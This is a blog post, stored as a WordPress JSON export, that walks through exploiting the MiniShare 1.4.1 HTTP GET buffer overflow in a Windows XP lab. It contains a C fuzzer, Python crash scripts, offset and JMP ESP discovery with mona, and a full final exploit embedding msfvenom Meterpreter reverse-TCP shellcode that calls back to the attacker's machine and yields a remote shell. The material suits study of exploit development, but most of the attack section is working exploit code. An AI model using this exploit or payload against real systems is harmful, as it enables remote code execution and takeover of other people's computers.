{"id":122,"date":"2016-03-15T11:27:24","date_gmt":"2016-03-15T11:27:24","guid":{"rendered":"https:\/\/mosunit.wordpress.com\/?p=8"},"modified":"2020-05-01T10:52:04","modified_gmt":"2020-05-01T10:52:04","slug":"exploting-buffer-overflow-minishare-1-4-1","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=122","title":{"rendered":"Exploiting Buffer Overflow Minishare 1.4.1"},"content":{"rendered":"

Introduction<\/h1>\n

Buffer overflow is one of the most interesting concepts that I know.<\/p>\n

In this write-up, I will exploit the buffer overflow in MiniShare application.<\/p>\n

I will attach the process to a debugger, trigger buffer overflow, analyze the application and will develop an exploit code in the process.<\/p>\n

Lab Setup<\/h1>\n
    \n
  1. Windows XP SP1 en<\/li>\n
  2. Immunity Debugger installed on WinXP with Mona script.\n
      \n
    1. You can download Immunity Debugger from http:\/\/debugger.immunityinc.com\/ID_register.py<\/a><\/li>\n
    2. You can download Mona script from https:\/\/github.com\/corelan\/mona<\/a><\/li>\n<\/ol>\n<\/li>\n
    3. Kali Linux<\/li>\n
    4. Minishare 1.4.1 installed on WinXP\n
        \n
      1. You can download it from https:\/\/www.dropbox.com\/s\/zhivgb79wtbce37\/minishare-1.4.1.exe?dl=0<\/a><\/li>\n<\/ol>\n<\/li>\n
      2. Attacking Machine (Kali) IP: 192.168.116.129<\/li>\n
      3. Victim (WinXP) IP: 192.168.116.134<\/li>\n<\/ol>\n

        <\/p>\n

        Configuring Minishare<\/h1>\n

        Once you install Minishare on WinXP machine, open the application.<\/p>\n

        As soon as the application is opened, the machine starts listening on port 80.<\/p>\n

        \"image001\"<\/p>\n

         <\/p>\n

        Attaching Minishare to Debugger<\/h1>\n

        Once you run the Minishare application, open immunity debugger. We will use immunity debugger to analyze the state of the stack and value of registers like EIP (instruction pointer), ESP (stack pointer).<\/p>\n

        Using debugger, we will also be able to analyze what happens when the application runs or crashes.<\/p>\n

        As shown below, we have attached Minishare process in the debugger. As soon as the process is attached, the debugger takes over the control of the program execution and the process is paused. You can press F9 to resume program execution.<\/p>\n

        \"image003.png\"<\/p>\n

        Fuzzing the Application<\/h1>\n

        Minishare 1.4.1 is vulnerable to buffer overflow. The CVE associated with it is CVE-2004-2271<\/a>. It states that:<\/p>\n

        Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.<\/em><\/p>\n

        As it is vulnerable to long HTTP GET request, it means that we can trigger the vulnerability by sending a GET request like this:<\/p>\n

        \n
        GET <long string of characters> HTTP\/1.1 <new line><carriage return><new line><carriage return><\/span><\/h6>\n<\/blockquote>\n

        which would eventually be something like this:<\/p>\n

        \n
        GET AAAAA… HTTP\/1.1\\r\\n\\r\\n<\/span><\/h6>\n<\/blockquote>\n

        So, now we know how to trigger the vulnerability, we will fuzz the application and watch for crashes to find out how many bytes are needed to crash the application.<\/p>\n

        We will use the following C code to fuzz the web server. The code will generate GET requests in which the URL will grow with each subsequent request.<\/p>\n

         <\/p>\n

        \n
        \/*<\/span><\/span><\/h6>\n
         simple_http_fuzzer.c<\/span><\/h6>\n
        *\/<\/span><\/h6>\n
        #include <stdio.h><\/span><\/h6>\n
        #include <stdlib.h><\/span><\/h6>\n
        #include <sys\/socket.h><\/span><\/h6>\n
        #include <netinet\/in.h><\/span><\/h6>\n
        \/\/maximum length to grow our url<\/span><\/h6>\n
        #define MAX_NAME_LEN 2048<\/span><\/h6>\n
        \/\/max strlen of a valid IP address + null<\/span><\/h6>\n
        #define MAX_IP_LEN 16<\/span><\/h6>\n
        \/\/static HTTP protocol content into which we insert fuzz string<\/span><\/h6>\n
        char request[] = “GET %*s HTTP\/1.1\\r\\nHost: %s\\r\\n\\r\\n”;<\/span><\/h6>\n
        int main(int argc, char **argv)<\/span><\/h6>\n
        {<\/span><\/h6>\n
                \/\/buffer to build our long request<\/span><\/h6>\n
                        char buf[MAX_NAME_LEN + sizeof(request) + MAX_IP_LEN];<\/span><\/h6>\n
                \/\/server address structure<\/span><\/h6>\n
                struct sockaddr_in server;<\/span><\/h6>\n
                int sock, len, req_len;<\/span><\/h6>\n
                if (argc != 2) { \/\/require IP address on the command line<\/span><\/h6>\n
                        fprintf(stderr, “Missing server IP address\\n”);<\/span><\/h6>\n
                        exit(1);<\/span><\/h6>\n
                }<\/span><\/h6>\n
                memset(&server, 0, sizeof(server)); \/\/clear the address info<\/span><\/h6>\n
                server.sin_family = AF_INET; \/\/building an IPV4 address<\/span><\/h6>\n
                server.sin_port = htons(80); \/\/connecting to port 80<\/span><\/h6>\n
                \/\/convert the dotted IP in argv[1] into network representation<\/span><\/h6>\n
               if (inet_pton(AF_INET, argv[1], &server.sin_addr) <= 0) {<\/span><\/h6>\n
                        fprintf(stderr, “Invalid server IP address: %s\\n”, argv[1]);<\/span><\/h6>\n
                        exit(1);<\/span><\/h6>\n
              }<\/span><\/h6>\n
                \/\/This is the basic fuzzing loop. We loop, growing the url by<\/span><\/h6>\n
                \/\/4 characters per pass until an error occurs or we reach MAX_NAME_LEN<\/span><\/h6>\n
                for (len = 1700; len < MAX_NAME_LEN; len += 8) {<\/span><\/h6>\n
                        \/\/first we need to connect to the server, create a socket…<\/span><\/h6>\n
                        sock = socket(AF_INET, SOCK_STREAM, 0);<\/span><\/h6>\n
                if (sock == -1) {<\/span><\/h6>\n
                        fprintf(stderr, “Could not create socket, quitting\\n”);<\/span><\/h6>\n
                        exit(1);<\/span><\/h6>\n
                }<\/span><\/h6>\n
                \/\/and connect to port 80 on the web server<\/span><\/h6>\n
                if (connect(sock, (struct sockaddr*)&server, sizeof(server))) {<\/span><\/h6>\n
                        fprintf(stderr, “Failed connect to %s, quitting\\n”, argv[1]);<\/span><\/h6>\n
                        close(sock);<\/span><\/h6>\n
                        exit(1); \/\/terminate if we can’t connect<\/span><\/h6>\n
                }<\/span><\/h6>\n
                \/\/build the request string. Request really only reserves space for<\/span><\/h6>\n
                \/\/the name field that we are fuzzing (using the * format specifier)<\/span><\/h6>\n
                req_len = snprintf(buf, sizeof(buf), request, len, “A”, argv[1]);<\/span><\/h6>\n
                \/\/this actually copies the growing number of A’s into the request<\/span><\/h6>\n
                memset(buf + 4, ‘A’, len);<\/span><\/h6>\n
                \/\/now send the request to the server<\/span><\/h6>\n
                send(sock, buf, req_len, 0);<\/span><\/h6>\n
                \/\/try to read the server response, for simplicity\u2019s sake let\u2019s assume<\/span><\/h6>\n
                \/\/that the remote side choked if no bytes are read or a recv error<\/span><\/h6>\n
                \/\/occurs<\/span><\/h6>\n
                if (read(sock, buf, sizeof(buf), 0) <= 0) {<\/span><\/h6>\n
                        fprintf(stderr, “Bad recv at len = %d\\n”, len);<\/span><\/h6>\n
                        close(sock);<\/span><\/h6>\n
                        break; \/\/a recv error occurred, report it and stop looping<\/span><\/h6>\n
                }<\/span><\/h6>\n
                close(sock);<\/span><\/h6>\n
              }<\/span><\/h6>\n
              return 0;<\/span><\/h6>\n
        }<\/span><\/h6>\n<\/blockquote>\n

        Compile and run the code.<\/p>\n

        \"image005.png\"<\/p>\n

        In the background, we can use Wireshark to look how the GET requests are being sent to Minishare.<\/p>\n

        As shown in below screenshot, long GET request are sent to the web server with each request 8 bytes longer than the previous one.<\/p>\n

        \"image007.png\"<\/p>\n

        Similarly, on the Windows XP machine, we can see the multiple connections between the attacker and victim\u2019s machine.<\/p>\n

        \"image009.png\"<\/p>\n

        At exact 1866 bytes of long URL, the Minishare application crashes as shown below.<\/p>\n

        \"image011.png\"<\/p>\n

        Crafting the Exploit<\/h1>\n

        Now we have the exact bytes which crashes the application, we can start with writing an exploit for it.<\/p>\n

        The following python exploit can be used to trigger the vulnerability.<\/p>\n

        \n
        #!\/usr\/bin\/python<\/span><\/h6>\n
        import socket<\/span><\/h6>\n
        <\/h6>\n
        target_address=”192.168.116.134″<\/span><\/h6>\n
        target_port=80<\/span><\/h6>\n
        print “Sending 1886 bytes long URL”<\/span><\/h6>\n
        buffer =”GET “<\/span><\/h6>\n
        buffer +=”\\x41″ * 1886<\/span><\/h6>\n
        buffer +=” HTTP\/1.1\\r\\n\\r\\n”<\/span><\/h6>\n
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)<\/span><\/h6>\n
        connect=sock.connect((target_address,target_port))<\/span><\/h6>\n
        sock.send(buffer)<\/span><\/h6>\n
        sock.close()<\/span><\/h6>\n
        print “Sent!! Hope it crashes :)”<\/span><\/h6>\n<\/blockquote>\n

        As I ran the exploit, it yielded the same result and crashed the application.<\/p>\n

        \"image012.png\"<\/p>\n

        Attaching the process to debugger and running the exploit gives following information.<\/p>\n

        \"image014.png\"<\/p>\n

        As shown, the program has crashed and EIP register has been overwritten with our input buffer of A\u2019s. Also, ESP has also been overwritten with A\u2019s.<\/p>\n

        EIP register holds a significant importance to us as the CPU decides which instruction to execute next by reading the value of the EIP register and executing the instruction that is located at that memory address. So, by controlling the EIP we can control the execution flow of the application.<\/p>\n

        So, the next step is to craft our exploit so that we can overwrite the EIP to our desired value to divert the flow to the shellcode which we will place later in the memory.<\/p>\n

        Controlling Execution Flow<\/h1>\n

        We know that the EIP is overwritten with 4 A\u2019s. Our next task is to find those 4 A\u2019s which have overwritten EIP.<\/p>\n

        For this, we will use following ruby tools:<\/p>\n

          \n
        1. pattern_create.rb\n
            \n
          1. Located at \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb<\/li>\n<\/ol>\n<\/li>\n
          2. pattern_offset.rb\n
              \n
            1. \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n

              Using pattern_create, we will create a unique string of 1886 characters and send it using the GET request. We will then identify the value written on EIP register, locate the value in our buffer and then calculate the offset.<\/p>\n

              \"image016.png\"<\/p>\n

              We modify our exploit code to replace the A\u2019s with unique string we generated.<\/p>\n

              The modified code is as shown.<\/p>\n

              \n
              #!\/usr\/bin\/python<\/span><\/h6>\n
              import socket<\/span><\/h6>\n
              <\/h6>\n
              target_address=”192.168.116.134″<\/span><\/h6>\n
              target_port=80<\/span><\/h6>\n
              print “Sending 1886 bytes long URL to ” + target_address + ” on port 80″<\/span><\/h6>\n
              buffer =”GET “<\/span><\/h6>\n
              buffer+=(“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab<\/span>
              \n 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A<\/span>
              \n d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9<\/span>
              \n Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag<\/span>
              \n 6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A<\/span>
              \n i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9<\/span>
              \n Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al<\/span>
              \n 6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A<\/span>
              \n n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9<\/span>
              \n Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq<\/span>
              \n 6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A<\/span>
              \n s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9<\/span>
              \n Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av<\/span>
              \n 6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A<\/span>
              \n x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9<\/span>
              \n Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba<\/span>
              \n 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B<\/span>
              \n c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9<\/span>
              \n Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf<\/span>
              \n 6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B<\/span>
              \n h3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9<\/span>
              \n Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk<\/span>
              \n 6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2B<\/span>
              \n m3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9<\/span>
              \n Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp<\/span>
              \n 6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2B<\/span>
              \n r3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9<\/span>
              \n Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu<\/span>
              \n 6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2B<\/span>
              \n w3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9<\/span>
              \n By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz<\/span>
              \n 6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C<\/span>
              \n b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9<\/span>
              \n Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce<\/span>
              \n 6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2C<\/span>
              \n g3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9<\/span>
              \n Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj<\/span>
              \n 6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck”)<\/span><\/h6>\n
              buffer +=” HTTP\/1.1\\r\\n\\r\\n”<\/span><\/h6>\n
              sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)<\/span><\/h6>\n
              connect=sock.connect((target_address,target_port))<\/span><\/h6>\n
              sock.send(buffer)<\/span><\/h6>\n
              sock.close()<\/span><\/h6>\n
              print “Sent”<\/span><\/h6>\n<\/blockquote>\n

              As I ran the exploit again, the following value was overwritten on EIP and the program crashed.<\/p>\n

              \"image018.png\"<\/p>\n

              EIP was overwritten with hex bytes 36 68 43 35 which is equivalent to string “6hC5” of 4 bytes.<\/p>\n

              To find the offset of this specific string in the unique string generated, we will use pattern_offset tool.<\/p>\n

              \"image019.png\"<\/p>\n

              The offset found is 1787 which means those 4 specific bytes are located at 1787 of the 1886 bytes.<\/p>\n

              Let\u2019s modify the buffer in our exploit code to check whether our calculations are correct.<\/p>\n

              \"image021.png\"<\/p>\n

              Once this modified buffer is sent, the values in the buffer change as shown.<\/p>\n

              \"image022.png\"<\/p>\n

              As we can see, EIP is written with 42 42 42 42 which is equivalent to BBBB string which confirms that our calculations were correct and now we can control the execution flow of the application.<\/p>\n

              Locating Shellcode Space<\/h1>\n

              Now that we can control EIP with our desired value and control the execution flow, we have to locate space for our payload now.<\/p>\n

              In this case, as shown below, ESP register points to beginning of the buffer of C\u2019s. So, it is a good location to place our shellcode.<\/p>\n

              \"image023.png\"<\/p>\n

              However, if we look closely, as shown below, the number of C\u2019s overwritten are 75. This number is not sufficient considering that the reverse shell payload which we will generate will be around 300-400 bytes.<\/p>\n

              \"image024.png\"<\/p>\n

              To accommodate our desired payload, we need to find more space in the memory. One of the way is to send a larger buffer length in the exploit and check if the program crashes and if it results in larger space for our shellcode.<\/p>\n

              So, lets increase the shellcode length from 1886 bytes to 2200, which adds 409 extra C\u2019s.<\/p>\n

              \"image025.png\"<\/p>\n

              I ran the exploit again and the memory dump of ESP is shown below.<\/p>\n

              \"image026.png\"<\/p>\n

              As you can see, the buffer size has increased and if you calculate it, 409 C\u2019s have been overwritten which means we have 409 bytes of space available for our shellcode.<\/p>\n

              Finding Return Address<\/h1>\n

              Our next step is to jump to the location of our buffer, i.e. the location which we have just identified.<\/p>\n

              As our buffer of \u201cC\u201d starts at ESP, we need to find way to redirect the flow to the start of ESP register.<\/p>\n

              This can be achieved if we can find a JMP ESP instruction and overwrite it on EIP.<\/p>\n

              We will use mona.py script to find JMP ESP instruction.<\/p>\n

              The following command can be used to list the modules in the memory.<\/p>\n

              !mona modules<\/span><\/p><\/blockquote>\n

              \"image027.png\"<\/p>\n

              I have chosen user32.dll OS module to look for JMP ESP instruction.<\/p>\n

              We can user Mona script again to find this instruction in the user32.dll module.<\/p>\n

              The following command can be used for it.<\/p>\n

              !mona find -s “\\xff\\xe4” -m user32.dll<\/span><\/p><\/blockquote>\n

              \u201cffe4\u201d is the opcode equivalent of JMP ESP instruction.<\/p>\n

              \"image029.png\"<\/p>\n

              The below screenshot confirms that JMP ESP instruction is located at address \u201c77DA2C48\u201d.<\/p>\n

              \"image031.png\"<\/p>\n

              We can confirm that whether we have found a valid return address by modifying the code as follows and placing a breakpoint at 0x77DA2C48.<\/p>\n

              \"image032.png\"<\/p>\n

              Generating Shellcode<\/h1>\n

              We have been successful in controlling the execution flow and have found to redirect the execution to our buffer of Cs. Now, to be able to get a shell, we will overwrite the buffer with our shellcode instead of Cs.<\/p>\n

              So, lets generate the shellcode with the help of msfvenom. I will make sure that the shellcode which is generated is free from usual bad characters \u201d\\x00\\x0a\\x0d\u201d which if not removed might make the shellcode unworkable.<\/p>\n

              The following command will generate reverser shell meterpreter payload for windows free from bad characters(\\x00\\x0a\\x0d).<\/p>\n

              \n
              msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=192.168.116.129 LPORT=443 -b “\\x00\\x0a\\x0d” -f c<\/span><\/h6>\n<\/blockquote>\n

              Once the shellcode is generated, we will integrate it in our exploit code. The final exploit code will be as shown below.<\/p>\n

              \n
              #!\/usr\/bin\/python<\/span><\/h6>\n
              import socket<\/span><\/h6>\n
              <\/h6>\n
              target_address=”192.168.116.134″<\/span><\/h6>\n
              target_port=80<\/span><\/h6>\n
              <\/h6>\n
              #Shellcode size = 333 bytes<\/span><\/h6>\n
              #Generated with “msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=192.168.116.129 LPORT=443 -f c”<\/span><\/h6>\n
              shellcode=(“\\xda\\xcf\\xd9\\x74\\x24\\xf4\\xba\\xc7\\x11\\xd3\\xd3\\x5d\\x29\\xc9\\xb1”<\/span><\/h6>\n
              “\\x54\\x83\\xc5\\x04\\x31\\x55\\x14\\x03\\x55\\xd3\\xf3\\x26\\x2f\\x33\\x71”<\/span><\/h6>\n
              “\\xc8\\xd0\\xc3\\x16\\x40\\x35\\xf2\\x16\\x36\\x3d\\xa4\\xa6\\x3c\\x13\\x48”<\/span><\/h6>\n
              “\\x4c\\x10\\x80\\xdb\\x20\\xbd\\xa7\\x6c\\x8e\\x9b\\x86\\x6d\\xa3\\xd8\\x89”<\/span><\/h6>\n
              “\\xed\\xbe\\x0c\\x6a\\xcc\\x70\\x41\\x6b\\x09\\x6c\\xa8\\x39\\xc2\\xfa\\x1f”<\/span><\/h6>\n
              “\\xae\\x67\\xb6\\xa3\\x45\\x3b\\x56\\xa4\\xba\\x8b\\x59\\x85\\x6c\\x80\\x03”<\/span><\/h6>\n
              “\\x05\\x8e\\x45\\x38\\x0c\\x88\\x8a\\x05\\xc6\\x23\\x78\\xf1\\xd9\\xe5\\xb1”<\/span><\/h6>\n
              “\\xfa\\x76\\xc8\\x7e\\x09\\x86\\x0c\\xb8\\xf2\\xfd\\x64\\xbb\\x8f\\x05\\xb3”<\/span><\/h6>\n
              “\\xc6\\x4b\\x83\\x20\\x60\\x1f\\x33\\x8d\\x91\\xcc\\xa2\\x46\\x9d\\xb9\\xa1”<\/span><\/h6>\n
              “\\x01\\x81\\x3c\\x65\\x3a\\xbd\\xb5\\x88\\xed\\x34\\x8d\\xae\\x29\\x1d\\x55”<\/span><\/h6>\n
              “\\xce\\x68\\xfb\\x38\\xef\\x6b\\xa4\\xe5\\x55\\xe7\\x48\\xf1\\xe7\\xaa\\x04”<\/span><\/h6>\n
              “\\x36\\xca\\x54\\xd4\\x50\\x5d\\x26\\xe6\\xff\\xf5\\xa0\\x4a\\x77\\xd0\\x37”<\/span><\/h6>\n
              “\\xad\\xa2\\xa4\\xa8\\x50\\x4d\\xd5\\xe1\\x96\\x19\\x85\\x99\\x3f\\x22\\x4e”<\/span><\/h6>\n
              “\\x5a\\xc0\\xf7\\xfb\\x5f\\x56\\x38\\x53\\x2b\\x27\\xd0\\xa6\\xd4\\x26\\x9a”<\/span><\/h6>\n
              “\\x2e\\x32\\x78\\x8c\\x60\\xeb\\x38\\x7c\\xc1\\x5b\\xd0\\x96\\xce\\x84\\xc0”<\/span><\/h6>\n
              “\\x98\\x04\\xad\\x6a\\x77\\xf1\\x85\\x02\\xee\\x58\\x5d\\xb3\\xef\\x76\\x1b”<\/span><\/h6>\n
              “\\xf3\\x64\\x73\\xdb\\xbd\\x8c\\xf6\\xcf\\xa9\\xec\\xf8\\x0f\\x29\\x85\\xf8”<\/span><\/h6>\n
              “\\x65\\x2d\\x0f\\xae\\x11\\x2f\\x76\\x98\\xbd\\xd0\\x5d\\x9a\\xba\\x2e\\x20”<\/span><\/h6>\n
              “\\xab\\xb1\\x18\\xb6\\x93\\xad\\x64\\x56\\x14\\x2e\\x32\\x3c\\x14\\x46\\xe2”<\/span><\/h6>\n
              “\\x64\\x47\\x73\\xed\\xb0\\xfb\\x28\\x7b\\x3b\\xaa\\x9d\\x2c\\x53\\x50\\xfb”<\/span><\/h6>\n
              “\\x1a\\xfc\\xab\\x2e\\x19\\xfb\\x54\\xac\\x3f\\xa4\\x3c\\x4e\\x7f\\x54\\xbd”<\/span><\/h6>\n
              “\\x24\\x7f\\x04\\xd5\\xb3\\x50\\xab\\x15\\x3b\\x7b\\xe4\\x3d\\xb6\\xed\\x46”<\/span><\/h6>\n
              “\\xdf\\xc7\\x24\\x06\\x41\\xc7\\xca\\x93\\x94\\x46\\x2d\\x24\\x99\\xa8\\x12”<\/span><\/h6>\n
              “\\xf2\\xa0\\xde\\x53\\xc6\\x96\\xd1\\xee\\x6b\\xbe\\x7b\\x10\\x3f\\xc0\\xa9”)<\/span><\/h6>\n
              <\/h6>\n
              print “Sending exploit to ” + target_address + ” on port 80″<\/span><\/h6>\n
              buffer =”GET “<\/span><\/h6>\n
              buffer +=”A” * 1787 + “\\x48\\x2C\\xDA\\x77” + “\\x90” * 20 + shellcode #JMP ESP at 0x77DA2C48 (user32.dll)<\/span><\/h6>\n
              buffer +=” HTTP\/1.1\\r\\n\\r\\n”<\/span><\/h6>\n
              sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)<\/span><\/h6>\n
              connect=sock.connect((target_address,target_port))<\/span><\/h6>\n
              sock.send(buffer)<\/span><\/h6>\n
              sock.close()<\/span><\/h6>\n
              print “Sent”<\/span><\/h6>\n<\/blockquote>\n

              Exploit<\/h1>\n

              Before exploiting the vulnerability, we will set up exploit handler on our Kali machine as shown below.<\/p>\n

              \"image033.png\"<\/p>\n

              Once the listener is set, we will run the exploit.<\/p>\n

              Once the exploit runs successfully, it gives a reverse meterpreter shell.<\/p>\n

              \"image035.png\"<\/p>\n

              Also, we can see on the victim\u2019s WinXP machine that connection to our Kali machine is established on port 443.<\/p>\n

              \"image037.png\"<\/p>\n","protected":false},"excerpt":{"rendered":"

              Introduction Buffer overflow is one of the most interesting concepts that I know. In this write-up, I will exploit the buffer overflow in MiniShare application.…<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[11,13,15],"class_list":["post-122","post","type-post","status-publish","format-standard","hentry","category-buffer-overflow","tag-buffer-overflow","tag-minishare","tag-reverse-shell"],"_links":{"self":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/122","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=122"}],"version-history":[{"count":3,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/122\/revisions"}],"predecessor-version":[{"id":458,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/122\/revisions\/458"}],"wp:attachment":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}